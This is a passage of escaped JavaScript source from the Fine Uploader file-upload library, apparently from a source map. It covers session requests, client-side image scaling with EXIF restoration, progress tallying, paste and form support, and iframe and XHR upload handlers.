requester.queryServer();\n\n        return refreshEffort;\n    };\n};\n","/*globals qq, XMLHttpRequest*/\n/**\n * Thin module used to send GET requests to the server, expecting information about session\n * data used to initialize an uploader instance.\n *\n * @param spec Various options used to influence the associated request.\n * @constructor\n */\nqq.SessionAjaxRequester = function(spec) {\n    \"use strict\";\n\n    var requester,\n        options = {\n            endpoint: null,\n            customHeaders: {},\n            params: {},\n            cors: {\n                expected: false,\n                sendCredentials: false\n            },\n            onComplete: function(response, success, xhrOrXdr) {},\n            log: function(str, level) {}\n        };\n\n    qq.extend(options, spec);\n\n    function onComplete(id, xhrOrXdr, isError) {\n        var response = null;\n\n        /* jshint eqnull:true */\n        if (xhrOrXdr.responseText != null) {\n            try {\n                response = qq.parseJson(xhrOrXdr.responseText);\n            }\n            catch (err) {\n                options.log(\"Problem parsing session response: \" + err.message, \"error\");\n                isError = true;\n            }\n        }\n\n        options.onComplete(response, !isError, xhrOrXdr);\n    }\n\n    requester = qq.extend(this, new qq.AjaxRequester({\n        acceptHeader: \"application/json\",\n        validMethods: [\"GET\"],\n        method: \"GET\",\n        endpointStore: {\n            get: function() {\n                return options.endpoint;\n            }\n        },\n        customHeaders: options.customHeaders,\n        log: options.log,\n        onComplete: onComplete,\n        cors: options.cors\n    }));\n\n    qq.extend(this, {\n        queryServer: function() {\n            var params = qq.extend({}, options.params);\n\n            options.log(\"Session query request.\");\n\n            requester.initTransport(\"sessionRefresh\")\n                .withParams(params)\n                .withCacheBuster()\n                .send();\n        }\n    });\n};\n","/* globals qq, ExifRestorer */\n/**\n * Controls generation of scaled images based on a reference image encapsulated in a `File` or `Blob`.\n * Scaled images are generated and converted to blobs on-demand.\n * Multiple scaled images per reference image with varying sizes and other properties are supported.\n *\n * @param spec Information about the scaled images to generate.\n * @param log Logger instance\n * @constructor\n */\nqq.Scaler = function(spec, log) {\n    \"use strict\";\n\n    var self = this,\n        customResizeFunction = spec.customResizer,\n        includeOriginal = spec.sendOriginal,\n        orient = spec.orient,\n        defaultType = spec.defaultType,\n        defaultQuality = spec.defaultQuality / 100,\n        failedToScaleText = spec.failureText,\n        includeExif = spec.includeExif,\n        sizes = this._getSortedSizes(spec.sizes);\n\n    // Revealed API for instances of this module\n    qq.extend(this, {\n        // If no targeted sizes have been declared or if this browser doesn't support\n        // client-side image preview generation, there is no scaling to do.\n        enabled: qq.supportedFeatures.scaling && sizes.length > 0,\n\n        getFileRecords: function(originalFileUuid, originalFileName, originalBlobOrBlobData) {\n            var self = this,\n                records = [],\n                originalBlob = originalBlobOrBlobData.blob ? originalBlobOrBlobData.blob : originalBlobOrBlobData,\n                identifier = new qq.Identify(originalBlob, log);\n\n            // If the reference file cannot be rendered natively, we can't create scaled versions.\n            if (identifier.isPreviewableSync()) {\n                // Create records for each scaled version & add them to the records array, smallest first.\n                qq.each(sizes, function(idx, sizeRecord) {\n                    var outputType = self._determineOutputType({\n                        defaultType: defaultType,\n                        requestedType: sizeRecord.type,\n                        refType: originalBlob.type\n                    });\n\n                    records.push({\n                        uuid: qq.getUniqueId(),\n                        name: self._getName(originalFileName, {\n                            name: sizeRecord.name,\n                            type: outputType,\n                            refType: originalBlob.type\n                        }),\n                        blob: new qq.BlobProxy(originalBlob,\n                        qq.bind(self._generateScaledImage, self, {\n                            customResizeFunction: customResizeFunction,\n                            maxSize: sizeRecord.maxSize,\n                            orient: orient,\n                            type: outputType,\n                            quality: defaultQuality,\n                            failedText: failedToScaleText,\n                            includeExif: includeExif,\n                            log: log\n                        }))\n                    });\n                });\n\n                records.push({\n                    uuid: originalFileUuid,\n                    name: originalFileName,\n                    size: originalBlob.size,\n                    blob: includeOriginal ? originalBlob : null\n                });\n            }\n            else {\n                records.push({\n                    uuid: originalFileUuid,\n                    name: originalFileName,\n                    size: originalBlob.size,\n                    blob: originalBlob\n                });\n            }\n\n            return records;\n        },\n\n        handleNewFile: function(file, name, uuid, size, fileList, batchId, uuidParamName, api) {\n            var self = this,\n                buttonId = file.qqButtonId || (file.blob && file.blob.qqButtonId),\n                scaledIds = [],\n                originalId = null,\n                addFileToHandler = api.addFileToHandler,\n                uploadData = api.uploadData,\n                paramsStore = api.paramsStore,\n                proxyGroupId = qq.getUniqueId();\n\n            qq.each(self.getFileRecords(uuid, name, file), function(idx, record) {\n                var blobSize = record.size,\n                    id;\n\n                if (record.blob instanceof qq.BlobProxy) {\n                    blobSize = -1;\n                }\n\n                id = uploadData.addFile({\n                    uuid: record.uuid,\n                    name: record.name,\n                    size: blobSize,\n                    batchId: batchId,\n                    proxyGroupId: proxyGroupId\n                });\n\n                if (record.blob instanceof qq.BlobProxy) {\n                    scaledIds.push(id);\n                }\n                else {\n                    originalId = id;\n                }\n\n                if (record.blob) {\n                    addFileToHandler(id, record.blob);\n                    fileList.push({id: id, file: record.blob});\n                }\n                else {\n                    uploadData.setStatus(id, qq.status.REJECTED);\n                }\n            });\n\n            // If we are potentially uploading an original file and some scaled versions,\n            // ensure the scaled versions include reference's to the parent's UUID and size\n            // in their associated upload requests.\n            if (originalId !== null) {\n                qq.each(scaledIds, function(idx, scaledId) {\n                    var params = {\n                        qqparentuuid: uploadData.retrieve({id: originalId}).uuid,\n                        qqparentsize: uploadData.retrieve({id: originalId}).size\n                    };\n\n                    // Make sure the UUID for each scaled image is sent with the upload request,\n                    // to be consistent (since we may need to ensure it is sent for the original file as well).\n                    params[uuidParamName] = uploadData.retrieve({id: scaledId}).uuid;\n\n                    uploadData.setParentId(scaledId, originalId);\n                    paramsStore.addReadOnly(scaledId, params);\n                });\n\n                // If any scaled images are tied to this parent image, be SURE we send its UUID as an upload request\n                // parameter as well.\n                if (scaledIds.length) {\n                    (function() {\n                        var param = {};\n                        param[uuidParamName] = uploadData.retrieve({id: originalId}).uuid;\n                        paramsStore.addReadOnly(originalId, param);\n                    }());\n                }\n            }\n        }\n    });\n};\n\nqq.extend(qq.Scaler.prototype, {\n    scaleImage: function(id, specs, api) {\n        \"use strict\";\n\n        if (!qq.supportedFeatures.scaling) {\n            throw new qq.Error(\"Scaling is not supported in this browser!\");\n        }\n\n        var scalingEffort = new qq.Promise(),\n            log = api.log,\n            file = api.getFile(id),\n            uploadData = api.uploadData.retrieve({id: id}),\n            name = uploadData && uploadData.name,\n            uuid = uploadData && uploadData.uuid,\n            scalingOptions = {\n                customResizer: specs.customResizer,\n                sendOriginal: false,\n                orient: specs.orient,\n                defaultType: specs.type || null,\n                defaultQuality: specs.quality,\n                failedToScaleText: \"Unable to scale\",\n                sizes: [{name: \"\", maxSize: specs.maxSize}]\n            },\n            scaler = new qq.Scaler(scalingOptions, log);\n\n        if (!qq.Scaler || !qq.supportedFeatures.imagePreviews || !file) {\n            scalingEffort.failure();\n\n            log(\"Could not generate requested scaled image for \" + id + \".  \" +\n                \"Scaling is either not possible in this browser, or the file could not be located.\", \"error\");\n        }\n        else {\n            (qq.bind(function() {\n                // Assumption: There will never be more than one record\n                var record = scaler.getFileRecords(uuid, name, file)[0];\n\n                if (record && record.blob instanceof qq.BlobProxy) {\n                    record.blob.create().then(scalingEffort.success, scalingEffort.failure);\n                }\n                else {\n                    log(id + \" is not a scalable image!\", \"error\");\n                    scalingEffort.failure();\n                }\n            }, this)());\n        }\n\n        return scalingEffort;\n    },\n\n    // NOTE: We cannot reliably determine at this time if the UA supports a specific MIME type for the target format.\n    // image/jpeg and image/png are the only safe choices at this time.\n    _determineOutputType: function(spec) {\n        \"use strict\";\n\n        var requestedType = spec.requestedType,\n            defaultType = spec.defaultType,\n            referenceType = spec.refType;\n\n        // If a default type and requested type have not been specified, this should be a\n        // JPEG if the original type is a JPEG, otherwise, a PNG.\n        if (!defaultType && !requestedType) {\n            if (referenceType !== \"image/jpeg\") {\n                return \"image/png\";\n            }\n            return referenceType;\n        }\n\n        // A specified default type is used when a requested type is not specified.\n        if (!requestedType) {\n            return defaultType;\n        }\n\n        // If requested type is specified, use it, as long as this recognized type is supported by the current UA\n        if (qq.indexOf(Object.keys(qq.Identify.prototype.PREVIEWABLE_MIME_TYPES), requestedType) >= 0) {\n            if (requestedType === \"image/tiff\") {\n                return qq.supportedFeatures.tiffPreviews ? requestedType : defaultType;\n            }\n\n            return requestedType;\n        }\n\n        return defaultType;\n    },\n\n    // Get a file name for a generated scaled file record, based on the provided scaled image description\n    _getName: function(originalName, scaledVersionProperties) {\n        \"use strict\";\n\n        var startOfExt = originalName.lastIndexOf(\".\"),\n            versionType = scaledVersionProperties.type || \"image/png\",\n            referenceType = scaledVersionProperties.refType,\n            scaledName = \"\",\n            scaledExt = qq.getExtension(originalName),\n            nameAppendage = \"\";\n\n        if (scaledVersionProperties.name && scaledVersionProperties.name.trim().length) {\n            nameAppendage = \" (\" + scaledVersionProperties.name + \")\";\n        }\n\n        if (startOfExt >= 0) {\n            scaledName = originalName.substr(0, startOfExt);\n\n            if (referenceType !== versionType) {\n                scaledExt = versionType.split(\"/\")[1];\n            }\n\n            scaledName += nameAppendage + \".\" + scaledExt;\n        }\n        else {\n            scaledName = originalName + nameAppendage;\n        }\n\n        return scaledName;\n    },\n\n    // We want the smallest scaled file to be uploaded first\n    _getSortedSizes: function(sizes) {\n        \"use strict\";\n\n        sizes = qq.extend([], sizes);\n\n        return sizes.sort(function(a, b) {\n            if (a.maxSize > b.maxSize) {\n                return 1;\n            }\n            if (a.maxSize < b.maxSize) {\n                return -1;\n            }\n            return 0;\n        });\n    },\n\n    _generateScaledImage: function(spec, sourceFile) {\n        \"use strict\";\n\n        var self = this,\n            customResizeFunction = spec.customResizeFunction,\n            log = spec.log,\n            maxSize = spec.maxSize,\n            orient = spec.orient,\n            type = spec.type,\n            quality = spec.quality,\n            failedText = spec.failedText,\n            includeExif = spec.includeExif && sourceFile.type === \"image/jpeg\" && type === \"image/jpeg\",\n            scalingEffort = new qq.Promise(),\n            imageGenerator = new qq.ImageGenerator(log),\n            canvas = document.createElement(\"canvas\");\n\n        log(\"Attempting to generate scaled version for \" + sourceFile.name);\n\n        imageGenerator.generate(sourceFile, canvas, {maxSize: maxSize, orient: orient, customResizeFunction: customResizeFunction}).then(function() {\n            var scaledImageDataUri = canvas.toDataURL(type, quality),\n                signalSuccess = function() {\n                    log(\"Success generating scaled version for \" + sourceFile.name);\n                    var blob = qq.dataUriToBlob(scaledImageDataUri);\n                    scalingEffort.success(blob);\n                };\n\n            if (includeExif) {\n                self._insertExifHeader(sourceFile, scaledImageDataUri, log).then(function(scaledImageDataUriWithExif) {\n                    scaledImageDataUri = scaledImageDataUriWithExif;\n                    signalSuccess();\n                },\n                function() {\n                    log(\"Problem inserting EXIF header into scaled image.  Using scaled image w/out EXIF data.\", \"error\");\n                    signalSuccess();\n                });\n            }\n            else {\n                signalSuccess();\n            }\n        }, function() {\n            log(\"Failed attempt to generate scaled version for \" + sourceFile.name, \"error\");\n            scalingEffort.failure(failedText);\n        });\n\n        return scalingEffort;\n    },\n\n    // Attempt to insert the original image's EXIF header into a scaled version.\n    _insertExifHeader: function(originalImage, scaledImageDataUri, log) {\n        \"use strict\";\n\n        var reader = new FileReader(),\n            insertionEffort = new qq.Promise(),\n            originalImageDataUri = \"\";\n\n        reader.onload = function() {\n            originalImageDataUri = reader.result;\n            insertionEffort.success(qq.ExifRestorer.restore(originalImageDataUri, scaledImageDataUri));\n        };\n\n        reader.onerror = function() {\n            log(\"Problem reading \" + originalImage.name + \" during attempt to transfer EXIF data to scaled version.\", \"error\");\n            insertionEffort.failure();\n        };\n\n        reader.readAsDataURL(originalImage);\n\n        return insertionEffort;\n    },\n\n    _dataUriToBlob: function(dataUri) {\n        \"use strict\";\n\n        var byteString, mimeString, arrayBuffer, intArray;\n\n        // convert base64 to raw binary data held in a string\n        if (dataUri.split(\",\")[0].indexOf(\"base64\") >= 0) {\n            byteString = atob(dataUri.split(\",\")[1]);\n        }\n        else {\n            byteString = decodeURI(dataUri.split(\",\")[1]);\n        }\n\n        // extract the MIME\n        mimeString = dataUri.split(\",\")[0]\n            .split(\":\")[1]\n            .split(\";\")[0];\n\n        // write the bytes of the binary string to an ArrayBuffer\n        arrayBuffer = new ArrayBuffer(byteString.length);\n        intArray = new Uint8Array(arrayBuffer);\n        qq.each(byteString, function(idx, character) {\n            intArray[idx] = character.charCodeAt(0);\n        });\n\n        return this._createBlob(arrayBuffer, mimeString);\n    },\n\n    _createBlob: function(data, mime) {\n        \"use strict\";\n\n        var BlobBuilder = window.BlobBuilder ||\n                window.WebKitBlobBuilder ||\n                window.MozBlobBuilder ||\n                window.MSBlobBuilder,\n            blobBuilder = BlobBuilder && new BlobBuilder();\n\n        if (blobBuilder) {\n            blobBuilder.append(data);\n            return blobBuilder.getBlob(mime);\n        }\n        else {\n            return new Blob([data], {type: mime});\n        }\n    }\n});\n","//Based on MinifyJpeg\n//http://elicon.blog57.fc2.com/blog-entry-206.html\n\nqq.ExifRestorer = (function()\n{\n   \n\tvar ExifRestorer = {};\n\t \n    ExifRestorer.KEY_STR = \"ABCDEFGHIJKLMNOP\" +\n                         \"QRSTUVWXYZabcdef\" +\n                         \"ghijklmnopqrstuv\" +\n                         \"wxyz0123456789+/\" +\n                         \"=\";\n\n    ExifRestorer.encode64 = function(input)\n    {\n        var output = \"\",\n            chr1, chr2, chr3 = \"\",\n            enc1, enc2, enc3, enc4 = \"\",\n            i = 0;\n\n        do {\n            chr1 = input[i++];\n            chr2 = input[i++];\n            chr3 = input[i++];\n\n            enc1 = chr1 >> 2;\n            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);\n            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);\n            enc4 = chr3 & 63;\n\n            if (isNaN(chr2)) {\n               enc3 = enc4 = 64;\n            } else if (isNaN(chr3)) {\n               enc4 = 64;\n            }\n\n            output = output +\n               this.KEY_STR.charAt(enc1) +\n               this.KEY_STR.charAt(enc2) +\n               this.KEY_STR.charAt(enc3) +\n               this.KEY_STR.charAt(enc4);\n            chr1 = chr2 = chr3 = \"\";\n            enc1 = enc2 = enc3 = enc4 = \"\";\n        } while (i < input.length);\n\n        return output;\n    };\n    \n    ExifRestorer.restore = function(origFileBase64, resizedFileBase64)\n    {\n        var expectedBase64Header = \"data:image/jpeg;base64,\";\n\n        if (!origFileBase64.match(expectedBase64Header))\n        {\n        \treturn resizedFileBase64;\n        }       \n        \n        var rawImage = this.decode64(origFileBase64.replace(expectedBase64Header, \"\"));\n        var segments = this.slice2Segments(rawImage);\n                \n        var image = this.exifManipulation(resizedFileBase64, segments);\n        \n        return expectedBase64Header + this.encode64(image);\n        \n    };\n\n\n    ExifRestorer.exifManipulation = function(resizedFileBase64, segments)\n    {\n            var exifArray = this.getExifArray(segments),\n                newImageArray = this.insertExif(resizedFileBase64, exifArray),\n                aBuffer = new Uint8Array(newImageArray);\n\n            return aBuffer;\n    };\n\n\n    ExifRestorer.getExifArray = function(segments)\n    {\n            var seg;\n            for (var x = 0; x < segments.length; x++)\n            {\n                seg = segments[x];\n                if (seg[0] == 255 & seg[1] == 225) //(ff e1)\n                {\n                    return seg;\n                }\n            }\n            return [];\n    };\n\n\n    ExifRestorer.insertExif = function(resizedFileBase64, exifArray)\n    {\n            var imageData = resizedFileBase64.replace(\"data:image/jpeg;base64,\", \"\"),\n                buf = this.decode64(imageData),\n                separatePoint = buf.indexOf(255,3),\n                mae = buf.slice(0, separatePoint),\n                ato = buf.slice(separatePoint),\n                array = mae;\n\n            array = array.concat(exifArray);\n            array = array.concat(ato);\n           return array;\n    };\n\n\n    \n    ExifRestorer.slice2Segments = function(rawImageArray)\n    {\n        var head = 0,\n            segments = [];\n\n        while (1)\n        {\n            if (rawImageArray[head] == 255 & rawImageArray[head + 1] == 218){break;}\n            if (rawImageArray[head] == 255 & rawImageArray[head + 1] == 216)\n            {\n                head += 2;\n            }\n            else\n            {\n                var length = rawImageArray[head + 2] * 256 + rawImageArray[head + 3],\n                    endPoint = head + length + 2,\n                    seg = rawImageArray.slice(head, endPoint);\n                segments.push(seg);\n                head = endPoint;\n            }\n            if (head > rawImageArray.length){break;}\n        }\n\n        return segments;\n    };\n\n\n    \n    ExifRestorer.decode64 = function(input) \n    {\n        var output = \"\",\n            chr1, chr2, chr3 = \"\",\n            enc1, enc2, enc3, enc4 = \"\",\n            i = 0,\n            buf = [];\n\n        // remove all characters that are not A-Z, a-z, 0-9, +, /, or =\n        var base64test = /[^A-Za-z0-9\\+\\/\\=]/g;\n        if (base64test.exec(input)) {\n            throw new Error(\"There were invalid base64 characters in the input text.  \" +\n                \"Valid base64 characters are A-Z, a-z, 0-9, '+', '/',and '='\");\n        }\n        input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, \"\");\n\n        do {\n            enc1 = this.KEY_STR.indexOf(input.charAt(i++));\n            enc2 = this.KEY_STR.indexOf(input.charAt(i++));\n            enc3 = this.KEY_STR.indexOf(input.charAt(i++));\n            enc4 = this.KEY_STR.indexOf(input.charAt(i++));\n\n            chr1 = (enc1 << 2) | (enc2 >> 4);\n            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);\n            chr3 = ((enc3 & 3) << 6) | enc4;\n\n            buf.push(chr1);\n\n            if (enc3 != 64) {\n               buf.push(chr2);\n            }\n            if (enc4 != 64) {\n               buf.push(chr3);\n            }\n\n            chr1 = chr2 = chr3 = \"\";\n            enc1 = enc2 = enc3 = enc4 = \"\";\n\n        } while (i < input.length);\n\n        return buf;\n    };\n\n    \n    return ExifRestorer;\n})();\n","/* globals qq */\n/**\n * Keeps a running tally of total upload progress for a batch of files.\n *\n * @param callback Invoked when total progress changes, passing calculated total loaded & total size values.\n * @param getSize Function that returns the size of a file given its ID\n * @constructor\n */\nqq.TotalProgress = function(callback, getSize) {\n    \"use strict\";\n\n    var perFileProgress = {},\n        totalLoaded = 0,\n        totalSize = 0,\n\n        lastLoadedSent = -1,\n        lastTotalSent = -1,\n        callbackProxy = function(loaded, total) {\n            if (loaded !== lastLoadedSent || total !== lastTotalSent) {\n                callback(loaded, total);\n            }\n\n            lastLoadedSent = loaded;\n            lastTotalSent = total;\n        },\n\n        /**\n         * @param failed Array of file IDs that have failed\n         * @param retryable Array of file IDs that are retryable\n         * @returns true if none of the failed files are eligible for retry\n         */\n        noRetryableFiles = function(failed, retryable) {\n            var none = true;\n\n            qq.each(failed, function(idx, failedId) {\n                if (qq.indexOf(retryable, failedId) >= 0) {\n                    none = false;\n                    return false;\n                }\n            });\n\n            return none;\n        },\n\n        onCancel = function(id) {\n            updateTotalProgress(id, -1, -1);\n            delete perFileProgress[id];\n        },\n\n        onAllComplete = function(successful, failed, retryable) {\n            if (failed.length === 0 || noRetryableFiles(failed, retryable)) {\n                callbackProxy(totalSize, totalSize);\n                this.reset();\n            }\n        },\n\n        onNew = function(id) {\n            var size = getSize(id);\n\n            // We might not know the size yet, such as for blob proxies\n            if (size > 0) {\n                updateTotalProgress(id, 0, size);\n                perFileProgress[id] = {loaded: 0, total: size};\n            }\n        },\n\n        /**\n         * Invokes the callback with the current total progress of all files in the batch.  Called whenever it may\n         * be appropriate to re-calculate and disseminate this data.\n         *\n         * @param id ID of a file that has changed in some important way\n         * @param newLoaded New loaded value for this file.  -1 if this value should no longer be part of calculations\n         * @param newTotal New total size of the file.  -1 if this value should no longer be part of calculations\n         */\n        updateTotalProgress = function(id, newLoaded, newTotal) {\n            var oldLoaded = perFileProgress[id] ? perFileProgress[id].loaded : 0,\n                oldTotal = perFileProgress[id] ? perFileProgress[id].total : 0;\n\n            if (newLoaded === -1 && newTotal === -1) {\n                totalLoaded -= oldLoaded;\n                totalSize -= oldTotal;\n            }\n            else {\n                if (newLoaded) {\n                    totalLoaded += newLoaded - oldLoaded;\n                }\n                if (newTotal) {\n                    totalSize += newTotal - oldTotal;\n                }\n            }\n\n            callbackProxy(totalLoaded, totalSize);\n        };\n\n    qq.extend(this, {\n        // Called when a batch of files has completed uploading.\n        onAllComplete: onAllComplete,\n\n        // Called when the status of a file has changed.\n        onStatusChange: function(id, oldStatus, newStatus) {\n            if (newStatus === qq.status.CANCELED || newStatus === qq.status.REJECTED) {\n                onCancel(id);\n            }\n            else if (newStatus === qq.status.SUBMITTING) {\n                onNew(id);\n            }\n        },\n\n        // Called whenever the upload progress of an individual file has changed.\n        onIndividualProgress: function(id, loaded, total) {\n            updateTotalProgress(id, loaded, total);\n            perFileProgress[id] = {loaded: loaded, total: total};\n        },\n\n        // Called whenever the total size of a file has changed, such as when the size of a generated blob is known.\n        onNewSize: function(id) {\n            onNew(id);\n        },\n\n        reset: function() {\n            perFileProgress = {};\n            totalLoaded = 0;\n            totalSize = 0;\n        }\n    });\n};\n","/*globals qq*/\nqq.PasteSupport = function(o) {\n    \"use strict\";\n\n    var options, detachPasteHandler;\n\n    options = {\n        targetElement: null,\n        callbacks: {\n            log: function(message, level) {},\n            pasteReceived: function(blob) {}\n        }\n    };\n\n    function isImage(item) {\n        return item.type &&\n            item.type.indexOf(\"image/\") === 0;\n    }\n\n    function registerPasteHandler() {\n        detachPasteHandler = qq(options.targetElement).attach(\"paste\", function(event) {\n            var clipboardData = event.clipboardData;\n\n            if (clipboardData) {\n                qq.each(clipboardData.items, function(idx, item) {\n                    if (isImage(item)) {\n                        var blob = item.getAsFile();\n                        options.callbacks.pasteReceived(blob);\n                    }\n                });\n            }\n        });\n    }\n\n    function unregisterPasteHandler() {\n        if (detachPasteHandler) {\n            detachPasteHandler();\n        }\n    }\n\n    qq.extend(options, o);\n    registerPasteHandler();\n\n    qq.extend(this, {\n        reset: function() {\n            unregisterPasteHandler();\n        }\n    });\n};\n","/* globals qq */\n/**\n * Module that handles support for existing forms.\n *\n * @param options Options passed from the integrator-supplied options related to form support.\n * @param startUpload Callback to invoke when files \"stored\" should be uploaded.\n * @param log Proxy for the logger\n * @constructor\n */\nqq.FormSupport = function(options, startUpload, log) {\n    \"use strict\";\n    var self  = this,\n        interceptSubmit = options.interceptSubmit,\n        formEl = options.element,\n        autoUpload = options.autoUpload;\n\n    // Available on the public API associated with this module.\n    qq.extend(this, {\n        // To be used by the caller to determine if the endpoint will be determined by some processing\n        // that occurs in this module, such as if the form has an action attribute.\n        // Ignore if `attachToForm === false`.\n        newEndpoint: null,\n\n        // To be used by the caller to determine if auto uploading should be allowed.\n        // Ignore if `attachToForm === false`.\n        newAutoUpload: autoUpload,\n\n        // true if a form was detected and is being tracked by this module\n        attachedToForm: false,\n\n        // Returns an object with names and values for all valid form elements associated with the attached form.\n        getFormInputsAsObject: function() {\n            /* jshint eqnull:true */\n            if (formEl == null) {\n                return null;\n            }\n\n            return self._form2Obj(formEl);\n        }\n    });\n\n    // If the form contains an action attribute, this should be the new upload endpoint.\n    function determineNewEndpoint(formEl) {\n        if (formEl.getAttribute(\"action\")) {\n            self.newEndpoint = formEl.getAttribute(\"action\");\n        }\n    }\n\n    // Return true only if the form is valid, or if we cannot make this determination.\n    // If the form is invalid, ensure invalid field(s) are highlighted in the UI.\n    function validateForm(formEl, nativeSubmit) {\n        if (formEl.checkValidity && !formEl.checkValidity()) {\n            log(\"Form did not pass validation checks - will not upload.\", \"error\");\n            nativeSubmit();\n        }\n        else {\n            return true;\n        }\n    }\n\n    // Intercept form submit attempts, unless the integrator has told us not to do this.\n    function maybeUploadOnSubmit(formEl) {\n        var nativeSubmit = formEl.submit;\n\n        // Intercept and squelch submit events.\n        qq(formEl).attach(\"submit\", function(event) {\n            event = event || window.event;\n\n            if (event.preventDefault) {\n                event.preventDefault();\n            }\n            else {\n                event.returnValue = false;\n            }\n\n            validateForm(formEl, nativeSubmit) && startUpload();\n        });\n\n        // The form's `submit()` function may be called instead (i.e. via jQuery.submit()).\n        // Intercept that too.\n        formEl.submit = function() {\n            validateForm(formEl, nativeSubmit) && startUpload();\n        };\n    }\n\n    // If the element value passed from the uploader is a string, assume it is an element ID - select it.\n    // The rest of the code in this module depends on this being an HTMLElement.\n    function determineFormEl(formEl) {\n        if (formEl) {\n            if (qq.isString(formEl)) {\n                formEl = document.getElementById(formEl);\n            }\n\n            if (formEl) {\n                log(\"Attaching to form element.\");\n                determineNewEndpoint(formEl);\n                interceptSubmit && maybeUploadOnSubmit(formEl);\n            }\n        }\n\n        return formEl;\n    }\n\n    formEl = determineFormEl(formEl);\n    this.attachedToForm = !!formEl;\n};\n\nqq.extend(qq.FormSupport.prototype, {\n    // Converts all relevant form fields to key/value pairs.  This is meant to mimic the data a browser will\n    // construct from a given form when the form is submitted.\n    _form2Obj: function(form) {\n        \"use strict\";\n        var obj = {},\n            notIrrelevantType = function(type) {\n                var irrelevantTypes = [\n                    \"button\",\n                    \"image\",\n                    \"reset\",\n                    \"submit\"\n                ];\n\n                return qq.indexOf(irrelevantTypes, type.toLowerCase()) < 0;\n            },\n            radioOrCheckbox = function(type) {\n                return qq.indexOf([\"checkbox\", \"radio\"], type.toLowerCase()) >= 0;\n            },\n            ignoreValue = function(el) {\n                if (radioOrCheckbox(el.type) && !el.checked) {\n                    return true;\n                }\n\n                return el.disabled && el.type.toLowerCase() !== \"hidden\";\n            },\n            selectValue = function(select) {\n                var value = null;\n\n                qq.each(qq(select).children(), function(idx, child) {\n                    if (child.tagName.toLowerCase() === \"option\" && child.selected) {\n                        value = child.value;\n                        return false;\n                    }\n                });\n\n                return value;\n            };\n\n        qq.each(form.elements, function(idx, el) {\n            if ((qq.isInput(el, true) || el.tagName.toLowerCase() === \"textarea\") &&\n                notIrrelevantType(el.type) &&\n                !ignoreValue(el)) {\n\n                obj[el.name] = el.value;\n            }\n            else if (el.tagName.toLowerCase() === \"select\" && !ignoreValue(el)) {\n                var value = selectValue(el);\n\n                if (value !== null) {\n                    obj[el.name] = value;\n                }\n            }\n        });\n\n        return obj;\n    }\n});\n","/*globals qq*/\n/**\n * Upload handler used that assumes the current user agent does not have any support for the\n * File API, and, therefore, makes use of iframes and forms to submit the files directly to\n * a generic server.\n *\n * @param options Options passed from the base handler\n * @param proxy Callbacks & methods used to query for or push out data/changes\n */\nqq.traditional = qq.traditional || {};\nqq.traditional.FormUploadHandler = function(options, proxy) {\n    \"use strict\";\n\n    var handler = this,\n        getName = proxy.getName,\n        getUuid = proxy.getUuid,\n        log = proxy.log;\n\n    /**\n     * Returns json object received by iframe from server.\n     */\n    function getIframeContentJson(id, iframe) {\n        /*jshint evil: true*/\n\n        var response, doc, innerHtml;\n\n        //IE may throw an \"access is denied\" error when attempting to access contentDocument on the iframe in some cases\n        try {\n            // iframe.contentWindow.document - for IE<7\n            doc = iframe.contentDocument || iframe.contentWindow.document;\n            innerHtml = doc.body.innerHTML;\n\n            log(\"converting iframe's innerHTML to JSON\");\n            log(\"innerHTML = \" + innerHtml);\n            //plain text response may be wrapped in <pre> tag\n            if (innerHtml && innerHtml.match(/^<pre/i)) {\n                innerHtml = doc.body.firstChild.firstChild.nodeValue;\n            }\n\n            response = handler._parseJsonResponse(innerHtml);\n        }\n        catch (error) {\n            log(\"Error when attempting to parse form upload response (\" + error.message + \")\", \"error\");\n            response = {success: false};\n        }\n\n        return response;\n    }\n\n    /**\n     * Creates form, that will be submitted to iframe\n     */\n    function createForm(id, iframe) {\n        var params = options.paramsStore.get(id),\n            method = options.method.toLowerCase() === \"get\" ? \"GET\" : \"POST\",\n            endpoint = options.endpointStore.get(id),\n            name = getName(id);\n\n        params[options.uuidName] = getUuid(id);\n        params[options.filenameParam] = name;\n\n        return handler._initFormForUpload({\n            method: method,\n            endpoint: endpoint,\n            params: params,\n            paramsInBody: options.paramsInBody,\n            targetName: iframe.name\n        });\n    }\n\n    this.uploadFile = function(id) {\n        var input = handler.getInput(id),\n            iframe = handler._createIframe(id),\n            promise = new qq.Promise(),\n            form;\n\n        form = createForm(id, iframe);\n        form.appendChild(input);\n\n        handler._attachLoadEvent(iframe, function(responseFromMessage) {\n            log(\"iframe loaded\");\n\n            var response = responseFromMessage ? responseFromMessage : getIframeContentJson(id, iframe);\n\n            handler._detachLoadEvent(id);\n\n            //we can't remove an iframe if the iframe doesn't belong to the same domain\n            if (!options.cors.expected) {\n                qq(iframe).remove();\n            }\n\n            if (response.success) {\n                promise.success(response);\n            }\n            else {\n                promise.failure(response);\n            }\n        });\n\n        log(\"Sending upload request for \" + id);\n        form.submit();\n        qq(form).remove();\n\n        return promise;\n    };\n\n    qq.extend(this, new qq.FormUploadHandler({\n        options: {\n            isCors: options.cors.expected,\n            inputName: options.inputName\n        },\n\n        proxy: {\n            onCancel: options.onCancel,\n            getName: getName,\n            getUuid: getUuid,\n            log: log\n        }\n    }));\n};\n","/*globals qq*/\n/**\n * Upload handler used to upload to traditional endpoints.  It depends on File API support, and, therefore,\n * makes use of `XMLHttpRequest` level 2 to upload `File`s and `Blob`s to a generic server.\n *\n * @param spec Options passed from the base handler\n * @param proxy Callbacks & methods used to query for or push out data/changes\n */\nqq.traditional = qq.traditional || {};\nqq.traditional.XhrUploadHandler = function(spec, proxy) {\n    \"use strict\";\n\n    var handler = this,\n        getName = proxy.getName,\n        getSize = proxy.getSize,\n        getUuid = proxy.getUuid,\n        log = proxy.log,\n        multipart = spec.forceMultipart || spec.paramsInBody,\n\n        addChunkingSpecificParams = function(id, params, chunkData) {\n            var size = getSize(id),\n                name = getName(id);\n\n            params[spec.chunking.paramNames.partIndex] = chunkData.part;\n            params[spec.chunking.paramNames.partByteOffset] = chunkData.start;\n            params[spec.chunking.paramNames.chunkSize] = chunkData.size;\n            params[spec.chunking.paramNames.totalParts] = chunkData.count;\n            params[spec.totalFileSizeName] = size;\n\n            /**\n             * When a Blob is sent in a multipart request, the filename value in the content-disposition header is either \"blob\"\n             * or an empty string.  So, we will need to include the actual file name as a param in this case.\n             */\n            if (multipart) {\n                params[spec.filenameParam] = name;\n            }\n        },\n\n        allChunksDoneRequester = new 